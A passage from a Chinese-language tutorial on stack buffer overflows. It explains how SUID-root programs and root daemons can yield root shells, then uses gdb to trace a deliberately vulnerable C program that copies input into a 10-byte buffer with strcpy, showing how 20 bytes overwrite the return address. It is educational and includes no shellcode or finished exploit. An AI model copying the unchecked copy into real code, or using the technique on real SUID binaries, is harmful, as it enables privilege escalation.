复盖函数指针, 让进程后来调用相应的函数变成调用我们所指定的代码.
3. 从缓冲区溢出的利用可以得到什么?
从上文我们看到, 缓冲区溢出的利用可以使我们能够改写相关内存的内容及函数的返回地址, 从而
改变代码的执行流程, 让进程去执行我们准备好的代码.
但是, 进程是以我们当前登录的用户身份来运行的. 能够执行我们准备好的代码又怎样呢? 我们还
是无法突破系统对当前用户的权限设置, 无法干超越权限的事.
换句话来说, 要想利用缓冲区溢出得到更高的权限, 我们还得利用系统的一些特性.
对于UNIX来讲, 有两个特性可以利用.
i) SUID及SGID程序
UNIX是允许其他用户可以以某个可执行文件的文件拥有者的用户ID或用户组ID的身份来执行该
文件的,这是通过设置该可执行文件的文件属性为SUID或SGID来实现的.
也就是说如果某个可执行文件被设了SUID或SGID, 那么当系统中其他用户执行该文件时就相当
于以该文件属主的用户或用户组身份来执行该文件.
如果某个可执行文件的属主是root, 而这个文件被设了SUID, 那么如果该可执行文件存在可利
用的缓冲区溢出漏洞, 我们就可以利用它来以root的身份执行我们准备好的代码. 没有比让它
为我们产生一个具有超级用户root身份的SHELL更吸引人了, 是不是?
ii) 各种端口守护(服务)进程
UNIX中有不少守护(服务)进程是以root的身份运行的, 如果这些程序存在可利用的缓冲区溢出,
那么我们就可以让它们以当前运行的用户身份--root去执行我们准备被好的代码.
由于守护进程已经以root的身份在运行, 我们并不需要相对应的可执行文件为SUID或SGID属性.
又由于此类利用通常是从远程机器上向目标机器上的端口发送有恶意的数据造成的, 所以叫做
"远程溢出"利用.
4. 一个有问题的程序
以下例程纯属虚构, 如有雷同, 纯属巧合.
/*
* 文件名 : p.c
* 编译 : gcc -o p p.c
*/
#include
void vulFunc(char* s)
{
char buf[10];
strcpy(buf, s);
printf("String=%s/n", buf);
}
main(int argc, char* argv[])
{
if(argc == 2)
{
vulFunc(argv[1]);
}
else
{
printf("Usage: %s /n", argv[0]);
}
}
这个例程接受用户在命令行的字串输入, 然后在标准输出(屏幕)上打印出来. 我们可以看出在
vulFunc()这个函数里, 定义了一个最多可以装十个字符的缓冲区buf. 如果我们在命令行输入
小于等于十个字符的字串, 则一切都很正常. 但是, 如果我们输入的字串长度大于十呢? 情况
会怎样? 缓冲区太小装不下了, 所以溢出了? 答案有待于具体分析一下才知道.
对于这个程序在不同操作系统下的分析和模拟攻击. 请看第二部份基楚篇
第二部份 基楚篇
5. Linux x86 平台
本文使用了如下Linux平台:
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-12 on an i586
所使用的编译器及版本:
bash$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
注意: 不同版本的编译器编译相同代码所生成的机器指令可能不同.
1) 例程p.c在Linux x86平台下的剖析.
i) 首先我们编译p.c并用gdb对相关函数进行反汇编
结果见如下清单:
bash$ gcc -o p p.c
bash$ gdb p
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x804842c : push %ebp
0x804842d : mov %esp,%ebp
0x804842f : cmpl #CONTENT#x2,0x8(%ebp)
0x8048433 : jne 0x8048448
0x8048435 : mov 0xc(%ebp),%eax
0x8048438 : add #CONTENT#x4,%eax
0x804843b : mov (%eax),%edx
0x804843d : push %edx
0x804843e : call 0x8048400
0x8048443 : add #CONTENT#x4,%esp
0x8048446 : jmp 0x804845b
0x8048448 : mov 0xc(%ebp),%eax
0x804844b : mov (%eax),%edx
0x804844d : push %edx
0x804844e : push #CONTENT#x80484bb
0x8048453 : call 0x8048330
0x8048458 : add #CONTENT#x8,%esp
0x804845b : leave
0x804845c : ret
0x804845d : nop
0x804845e : nop
0x804845f : nop
End of assembler dump.
(gdb) disas vulFunc
Dump of assembler code for function vulFunc:
0x8048400 : push %ebp
0x8048401 : mov %esp,%ebp
0x8048403 : sub #CONTENT#xc,%esp
0x8048406 : mov 0x8(%ebp),%eax
0x8048409 : push %eax
0x804840a : lea 0xfffffff4(%ebp),%eax
0x804840d : push %eax
0x804840e : call 0x8048340
0x8048413 : add #CONTENT#x8,%esp
0x8048416 : lea 0xfffffff4(%ebp),%eax
0x8048419 : push %eax
0x804841a : push #CONTENT#x80484b0
0x804841f : call 0x8048330
0x8048424 : add #CONTENT#x8,%esp
0x8048427 : leave
0x8048428 : ret
0x8048429 : lea 0x0(%esi),%esi
End of assembler dump.
这里我们只对所关心的main和vulFunc两个函数进行反汇编分析.
ii) 进程的运行及其在内存中的情况分析
我们用gdb来跟踪看看进程是如何在内存中运行的.
首先把程序调入.
bash$ gdb p
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb)
把断点设到main的第一条可执行汇编指令上
(gdb) b *0x804842c
Breakpoint 1 at 0x804842c
运行程序
(gdb) r AAAAAAAA
Starting program: /home/vcat/p AAAAAAAA
Breakpoint 1, 0x804842c in main ()
在断点处停下来了.
看一下这时各寄存器的值
(gdb) i reg
eax 0x4010b3f8 1074836472
ecx 0x804842c 134513708
edx 0x4010d098 1074843800
ebx 0x4010c1ec 1074840044
esp 0xbffff6bc -1073744196
ebp 0xbffff6d8 -1073744168
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x804842c 134513708
eflags 0x246 582
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
cwd 0xffff037f -64641
swd 0xffff0000 -65536
twd 0xffffffff -1
fip 0x40034d70 1073958256
fcs 0x35d0023 56426531
fopo 0xbfffe400 -1073748992
fos 0xffff002b -65493
我们这里关心的是栈底(ebp), 栈顶(esp)及指令寄存器(eip).
此时, ebp的值为0xbffff6d8, esp的值为0xbffff6bc, 相差28个字节.
eip的值为0x804842c, 正好是我们所设的断点.
(注: 这里的值可能会随着程序运行在不同的系统环境而不同)
我们再看看当前栈帧里有什么内容?
(gdb) x/8x $esp
0xbffff6bc: 0x400349cb 0x00000002 0xbffff704 0xbffff710
0xbffff6cc: 0x40013868 0x00000002 0x08048350 0x00000000
也就是说, main函数刚被调用时进程在内存中的相关部份的影像是这样的:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- ebp (调用main函数前的ebp)
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704|
+--------+
|00000002|
+--------+
|400349cb|
0xbffff6bc +--------+ <-- esp (调用main函数前的esp)
| ...... |
(内存低址)
我们看看接下来的指令做了些什么?
0x804842c : push %ebp ; esp的值等于esp-4(因为ebp是32位);
; 把ebp的值放入esp所指的32位内存单
; 元(注: 这里保存栈底).
0x804842d : mov %esp,%ebp ; ebp的值等于esp的值(注: 这里把原来
; 的栈顶做为新的栈底).
运行这两条指令, 然后看一下寄存器内容和栈的情况.
(gdb) si
0x804842d in main ()
(gdb) si
0x804842f in main ()
(gdb) i reg
eax 0x4010b3f8 1074836472
ecx 0x804842c 134513708
edx 0x4010d098 1074843800
ebx 0x4010c1ec 1074840044
esp 0xbffff6b8 -1073744200
ebp 0xbffff6b8 -1073744200
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x804842f 134513711
eflags 0x346 838
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
cwd 0xffff037f -64641
swd 0xffff0000 -65536
twd 0xffffffff -1
fip 0x40034d70 1073958256
fcs 0x35d0023 56426531
fopo 0xbfffe400 -1073748992
fos 0xffff002b -65493
(gdb) x/9x $esp
0xbffff6b8: 0xbffff6d8 0x400349cb 0x00000002 0xbffff704
0xbffff6c8: 0xbffff710 0x40013868 0x00000002 0x08048350
0xbffff6d8: 0x00000000
此时进程的相关影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704|
+--------+
|00000002|
+--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8|
0xbffff6b8 +--------+ <-- ebp, esp
| ...... |
(内存低址)
接下来的两条指令:
0x804842f : cmpl #CONTENT#x2,0x8(%ebp) ; 2和ebp+8所指向的内存(32位--4
; 个字节)里面所放的内容比较.
0x8048433 : jne 0x8048448 ; 如果不等则跳到0x08048448地址
; 处继续执行, 否则执行下条指令.
这里我们可以看到这是C语言语句
if(argc == 2)
{
...
}
else
{
...
}
的等价汇编语句. 内存地址ebp+8处存放的是argc的值.
(gdb) x/x $ebp+8
0xbffff6c0: 0x00000002
我们来看看在调用vulFunc函数前的指令:
0x8048435 : mov 0xc(%ebp),%eax ; 把内存地址ebp+12处的四个字节的
; 内容放到eax里.
0x8048438 : add #CONTENT#x4,%eax ; eax等于eax+4.
0x804843b : mov (%eax),%edx ; 把eax指向的四个内存字节单元里
; 的内容赋给edx
0x804843d : push %edx ; esp等于esp-4, 把edx的值放到esp
; 所指的内存地址的四个字节单元里.
看看ebp+12处放的是什么?
(gdb) x/x $ebp+12
0xbffff6c4: 0xbffff704
怀疑这里放的是指向argv[0]字串的地址的地址, 看看是不是
(gdb) x/x 0xbffff704
0xbffff704: 0xbffff83e
(gdb) x/1s 0xbffff83e
0xbffff83e: "/home/vcat/p"
果然是. 那么$ebp+12的所指的四个字节的内容(argv[0]字串的地址)加上四, 应该就是指向
argv[1]字串的地址了.
(gdb) x/x 0xbffff704+4
0xbffff708: 0xbffff856
(gdb) x/1s 0xbffff856
0xbffff856: "AAAAAAAA"
可以看出, 这四条指令是用来计算argv[1](即所输入的字串"AAAAAAAA"在内存中的起始地址),
然后把该地址压入栈中做为参数传给即将被调用的函数vulFunc的.
设个断点在0x804843e, 让程序继续执行到调用vulFunc函数之前.
(gdb) b *0x804843e
Breakpoint 2 at 0x804843e
(gdb) c
Continuing.
(gdb) i reg
eax 0xbffff708 -1073744120
ecx 0x804842c 134513708
edx 0xbffff856 -1073743786
ebx 0x4010c1ec 1074840044
esp 0xbffff6b4 -1073744204
ebp 0xbffff6b8 -1073744200
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x804843e 134513726
eflags 0x282 642
(以下省略)
...
(gdb) x/10x $esp
0xbffff6b4: 0xbffff856 0xbffff6d8 0x400349cb 0x00000002
0xbffff6c4: 0xbffff704 0xbffff710 0x40013868 0x00000002
0xbffff6d4: 0x08048350 0x00000000
此时的进程在内存中的相关影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的开始地址
0xbffff6b4 +--------+ <-- main函数的esp
| ...... |
(内存低址)
单步执行
(gdb) si
0x8048400 in vulFunc ()
好, 现在进入vulFunc函数了.
(gdb) i reg
eax 0xbffff708 -1073744120
ecx 0x804842c 134513708
edx 0xbffff856 -1073743786
ebx 0x4010c1ec 1074840044
esp 0xbffff6b0 -1073744208
ebp 0xbffff6b8 -1073744200
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x8048400 134513664
eflags 0x382 898
(以下省略)
...
这时esp已经变为0xbffff6b0, 和以前的值0xbffff6b4比较相差四个字节.
我们来看看到底压了什么东西入栈.
(gdb) x/11x $esp
0xbffff6b0: 0x08048443 0xbffff856 0xbffff6d8 0x400349cb
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000
原来是main函数里调用vulFunc函数的指令的后续指令的地址--即vulFunc函数的返回地址.
这是我们的第一个焦点.
...
0x804843e : call 0x8048400
0x8048443 : add #CONTENT#x4,%esp
...
我们接着分析vulFunc函数.
0x8048400 : push %ebp
0x8048401 : mov %esp,%ebp
0x8048403 : sub #CONTENT#xc,%esp ; esp等于esp-12, 栈帧大小增加12个字节.
前面两条指令的功能和main函数的一样, 用来保存调用函数栈帧的栈底ebp和设置被调用函
数栈帧栈底.
即: 保存调用函数的栈帧栈底, 调用函数栈帧的栈顶变为被调用函数的栈底. 可以看出当前
(被调用函数)的栈帧为空时, ebp和esp的值相等.
第三条指令在栈帧中分配了0xc(十二)个字节的内存空间, 注意到里面的内容是垃圾.
(gdb) si
0x8048401 in vulFunc ()
(gdb) si
0x8048403 in vulFunc ()
(gdb) si
0x8048406 in vulFunc ()
(gdb) x/15x $esp
0xbffff6a0: 0x4000ae60 0xbffff704 0xbffff6b8 0xbffff6b8
0xbffff6b0: 0x08048443 0xbffff856 0xbffff6d8 0x400349cb
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000
此时进程在内存中相关的影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| vulFunc函数的返回地址
0xbffff6b0 +--------+ <-- 调用vulFunc函数前的esp
|bffff6b8| main函数的ebp
0xbffff6ac +--------+ <-- vulFunc函数的ebp
|bffff6b8| (垃圾)
0xbffff6a8 +--------+
|bffff704| (垃圾)
0xbffff6a4 +--------+
|4000ae60| (垃圾)
0xbffff6a0 +--------+ <-- vulFunc的当前esp
| ...... |
(内存低址)
再看看下面的四条指令.
0x8048406 : mov 0x8(%ebp),%eax ; 把ebp+8指向的内存单元(4字节)里
; 的内容赋给eax.
从上图看出vulFunc函数栈帧的ebp+8四字节内存单元里放的是指向"AAAAAAAA"字符串的起始地址.
0x8048409 : push %eax ; eax的值入栈.
把指向"AAAAAAAA"字符串的起始地址入栈.
0x804840a : lea 0xfffffff4(%ebp),%eax
哇! 好吓人呀! 这条指令是干什么的? 让我们慢慢来分析一下.
这条指令是把ebp+0xfffffff4做为地址值赋给eax.
但是ebp的值加上0xfffffff4指向那里呀, 这是我们要弄清楚的.
这里如果我们按正数来加, 那是不行的.
实际上这个十六进制的0xfffffff4所表示的是负数, 要知道它的值, 让我们来算一下.
F F F F F F F 4
+----+----+----+----+----+----+----+----+
|1111|1111|1111|1111|1111|1111|1111|0100|
+----+----+----+----+----+----+----+----+
取反
0 0 0 0 0 0 0 B
+----+----+----+----+----+----+----+----+
|0000|0000|0000|0000|0000|0000|0000|1011|
+----+----+----+----+----+----+----+----+
加一
0 0 0 0 0 0 0 C
+----+----+----+----+----+----+----+----+
|0000|0000|0000|0000|0000|0000|0000|1100|
+----+----+----+----+----+----+----+----+
也就是负的0xc. ebp+0xfffffff4, 即ebp-0xc.
所以ebp+0xfffffff4, 就是现在栈顶指向的那十二个字节的起始地址.
0x804840d : push %eax
接着把得到的地址入栈.
让程序运行到调用strcpy函数之前看看
(gdb) b *0x804840e
Breakpoint 3 at 0x804840e
(gdb) c
Continuing.
Breakpoint 3, 0x804840e in vulFunc ()
(gdb) x/17x $esp
0xbffff698: 0xbffff6a0 0xbffff856 0x4000ae60 0xbffff704
0xbffff6a8: 0xbffff6b8 0xbffff6b8 0x08048443 0xbffff856
0xbffff6b8: 0xbffff6d8 0x400349cb 0x00000002 0xbffff704
0xbffff6c8: 0xbffff710 0x40013868 0x00000002 0x08048350
0xbffff6d8: 0x00000000
这时进程在内存的相关影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| vulFunc函数的返回地址
0xbffff6b0 +--------+ <-- 调用vulFunc函数前的esp
|bffff6b8| main函数的ebp
0xbffff6ac +--------+ <-- vulFunc函数的ebp
|bffff6b8| (垃圾)
0xbffff6a8 +--------+
|bffff704| (垃圾)
0xbffff6a4 +--------+
|4000ae60| (垃圾)
0xbffff6a0 +--------+
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+ <-- vulFunc的当前esp
| ...... |
(内存低址)
我们这里不关心strcpy函数具体运行, 把断点设到调用它的后续指令.
(gdb) b *0x8048413
Breakpoint 4 at 0x8048413
(gdb) c
Continuing.
Breakpoint 4, 0x8048413 in vulFunc ()
(gdb) x/17x $esp
0xbffff698: 0xbffff6a0 0xbffff856 0x41414141 0x41414141
0xbffff6a8: 0xbffff600 0xbffff6b8 0x08048443 0xbffff856
0xbffff6b8: 0xbffff6d8 0x400349cb 0x00000002 0xbffff704
0xbffff6c8: 0xbffff710 0x40013868 0x00000002 0x08048350
0xbffff6d8: 0x00000000
这时进程在内存中的相关影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| vulFunc函数的返回地址
0xbffff6b0 +--------+ <-- 调用vulFunc函数前的esp
|bffff6b8| main函数的ebp
0xbffff6ac +--------+ <-- vulFunc函数的ebp
|bffff600|
0xbffff6a8 +--------+
|41414141|
0xbffff6a4 +--------+
|41414141|
0xbffff6a0 +--------+
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+ <-- vulFunc的当前esp
| ...... |
(内存低址)
我们注意到在vulFunc函数栈帧中所分配的那十二个字节, 从传递给strcpy函数的起始
地址处被我们所输入的八个'A'(十六进制0x41)填充了.
这是我们的第二个焦点.
同时也注意到, 内存地址0xbffff6a8所指向的四个字节的内容由原来的垃圾数据0xbffff6b8
变成了bffff600.
低字节的00应该就是字符串"AAAAAAAA"的零结尾字节.
所以得出结论: vulFunc函数栈帧中分配的那十二个字节是给局部变量buf(缓冲区)的.
这里会奇怪: 程序中buf缓冲区只定义了十个字节的大小, 为什么为它分配了十二个字
节? 原因是: 内存的分配是以四字节为单位的.所以十个字节(4+4+2)要用三个内存分
配单元, 3*4=12.
如果我们在命令行提供的字串长度为十(多两个字符, 刚好是程序中定义的缓冲区的大
小), 那么内存地址0xbffff6a8所指向的四个字节的内容将是bf004141; 如果增加到十
一个, 内存地址0xbffff6a8所指向的四个字节的内容为00414141, 刚好填满栈帧中分配
给buf的内存空间. 可以看出, 在命令行中提供的字串长度小于12, 程序是不会出错的.
现在让我们看看字串长度等于十二的情况, 这时0xbffff6a8所指向的四个字节的内存单
元已被41414141填满.0xbffff6ac所指向的四个字节的内存单元的低字节被00所填, 其内
容变为bffff600, 从上面的影像图可知: 这个内存单元里保存的是调用函数的ebp. 也就
是说, 当字串长度大于或等于十二时, 调用函数的ebp被复盖.
从进程的影像图可以看出, 要想全面复盖vulFunc函数的返回地址, 则字节串的长度至少
要二十(12+8)个字节.
我们继续分析后面的指令:
0x8048413 : add #CONTENT#x8,%esp ; 栈帧缩小8个字节--放弃了两个内存存储单元.
可以看到, 在调用strcpy前, 依次压了s和buf的地址入栈, 现在这条指令是把这两个地址抛弃.
所以可以得出, Linux x86系统在调用函数时(其实是编译器所生成的机器指令), 所传给
被调用函数的参数是由调用函数从右到左依次入栈的.
如现在的strcpy(buf, s), 首先是s先入栈, 然后是buf. 参数的出栈也由调用函数负责.
0x8048416 : lea 0xfffffff4(%ebp),%eax
0x8048419 : push %eax
这两条指令和前面的一样, 把argv[1](即"AAAAAAAA"字串)的起始地址入栈.
0x804841a : push #CONTENT#x80484b0
先看一下0x80484b0里面放的是什么, 虽然很明显是即将调用的printf函数的第一个参数的地址.
(gdb) x/1s 0x80484b0
0x80484b0 <_IO_stdin_used+4>: "String=%s/n"
果然是.
下面的两条指令就是调用printf函数和抛弃在栈中的两个参数了.
0x804841f : call 0x8048330
0x8048424 : add #CONTENT#x8,%esp
我们在0x08048427 leave 指令的前面设个断点并继续运行.
(gdb) b *0x8048427
Breakpoint 5 at 0x8048427
(gdb) c
Continuing.
String=AAAAAAAA
Breakpoint 5, 0x8048427 in vulFunc ()
屏幕输出了"String=AAAAAAAA".
这时栈帧的内容为:
(gdb) x/15x $esp
0xbffff6a0: 0x41414141 0x41414141 0xbffff600 0xbffff6b8
0xbffff6b0: 0x08048443 0xbffff856 0xbffff6d8 0x400349cb
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000
进程在内存中的相关影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| vulFunc函数的返回地址
0xbffff6b0 +--------+ <-- 调用vulFunc函数前的esp
|bffff6b8| main函数的ebp
0xbffff6ac +--------+ <-- vulFunc函数的ebp
|bffff600|
0xbffff6a8 +--------+
|41414141|
0xbffff6a4 +--------+
|41414141|
0xbffff6a0 +--------+ <-- vulFunc的当前esp
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)
各寄存器的状况:
(gdb) i reg
eax 0x10 16
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6a0 -1073744224
ebp 0xbffff6ac -1073744212
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x8048427 134513703
eflags 0x296 662
(以下省略)
...
请注意: 此时esp的内容为0xbffff6a0, ebp的内容为0xbffff6ac
单步运行leave指令, 然后看一下寄存器的情况.
(gdb) si
0x8048428 in vulFunc ()
(gdb) i reg
eax 0x10 16
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6b0 -1073744208
ebp 0xbffff6b8 -1073744200
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x8048428 134513704
eflags 0x396 918
(以下省略)
...
此时的esp的内容为0xbffff6b0, 即执行leave指令前的ebp内容0xbffff6ac+4;
ebp的内容为0xbffff6b8, 这个值从那来的呢? 看一下此时进程在内存中的影像, 正好是
vulFunc函数的ebp指向的内存的内容, 而随着这个值的出栈, esp的值正好为0xbffff6b0.
由此可见, leave指令其实等价于
mov %ebp,%esp
pop %ebp
这两条指令, 正好和刚进入被调用函数时
push %ebp
mov %esp,%ebp
这两条指令的功能相反.
也就是说leave指令抛弃了被调用函数的栈帧, 恢复了调用函数的栈帧.
此时栈中相关的内容:
(gdb) x/11x $esp
0xbffff6b0: 0x08048443 0xbffff856 0xbffff6d8 0x400349cb
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000
进程在内存中的相关影像:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| vulFunc函数的返回地址
0xbffff6b0 +--------+ <-- 当前esp
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)
继续执行下条指令: ret
(gdb) si
0x8048443 in main ()
(gdb) i reg
eax 0x10 16
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6b4 -1073744204
ebp 0xbffff6b8 -1073744200
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x8048443 134513731
eflags 0x396 918
(以下省略)
...
可以看出, 从栈中弹出0x8048443(vulFunc函数调用的返回地址)给了eip.
至此vulFunc函数调用完毕, 返回到main函数继续执行.
值得注意的是: 如果象上面所说的, 我们输入的字串长度为二十个'A'--刚好复盖完0xbffff6b0
所指的单元, 那么此时从栈中弹出给eip的内容将是0x41414141, 而不是0x8048443, 程序
将跳到0x41414141去执行那里的指令, 由于0x41414141对于当前进程来说是不可访问的,
所以导致段出错(Segmentation fault), 进程停止执行.
这是我们的第三个焦点.
如果我们能计算好位移(offset), 用我们准备好的代码的入口地址来覆盖0xbffff6b0所
指的单元, 那么从栈中弹出给eip的内容就是我们的代码的入口地址, 程序将跳到我们的
代码去继续执行.
分析到这里, 我们已经清楚了C语言函数调用的机制了. main函数的后续指令对于我们的
分析已无关紧要. 但是为了保持文章的完整, 我们继续再往下看看.
此时栈的情况:
(gdb) x/10x $esp
0xbffff6b4: 0xbffff856 0xbffff6d8 0x400349cb 0x00000002
0xbffff6c4: 0xbffff704 0xbffff710 0x40013868 0x00000002
0xbffff6d4: 0x08048350 0x00000000
进程在内存中的相关影像:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+ <-- 当前esp
|08048443| (垃圾) vulFunc函数的返回地址
0xbffff6b0 +--------+
|bffff6b8| (垃圾) main函数的ebp
0xbffff6ac +--------+
|bffff600| (垃圾)
0xbffff6a8 +--------+
|41414141| (垃圾)
0xbffff6a4 +--------+
|41414141| (垃圾)
0xbffff6a0 +--------+
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)
再看看后续的指令做了些什么?
0x8048443 : add #CONTENT#x4,%esp ; 抛弃栈中为被调用函数准备的参数.
0x8048446 : jmp 0x804845b ; 跳转到0x804845b继续执行
0x8048448 : mov 0xc(%ebp),%eax ; 0x8048433 jne的条件判断跳转
; 入口(即argc!=2的情况)
; 把ebp+0xc所指向的内存单元的
; 内容赋给eax, 从上面的分析我
; 们知道里面放的是argv的地址
0x804844b : mov (%eax),%edx ; 把eax指向的地址的内存单元里
; 的内容赋给edx, 我们知道argv
; 是个数组, argv的值就是argv[0]
0x804844d : push %edx ; 把argv[0]入栈. 注意这里的
; argv[0]其实是个地址值.
0x804844e : push #CONTENT#x80484bb ; 把常数0x80484bb入栈
; 以上为调用printf函数准备参数.
0x8048453 : call 0x8048330 ; 调用printf函数
0x8048458 : add #CONTENT#x8,%esp ; 抛弃为调用printf函数准备的参数
0x804845b : leave ; 恢复调用main函数的函数的栈帧
0x804845c : ret ; 返回到调用main函数的函数
估计0x80484bb指向的是printf函数的format字串, 看看是不是?
(gdb) x/1s 0x80484bb
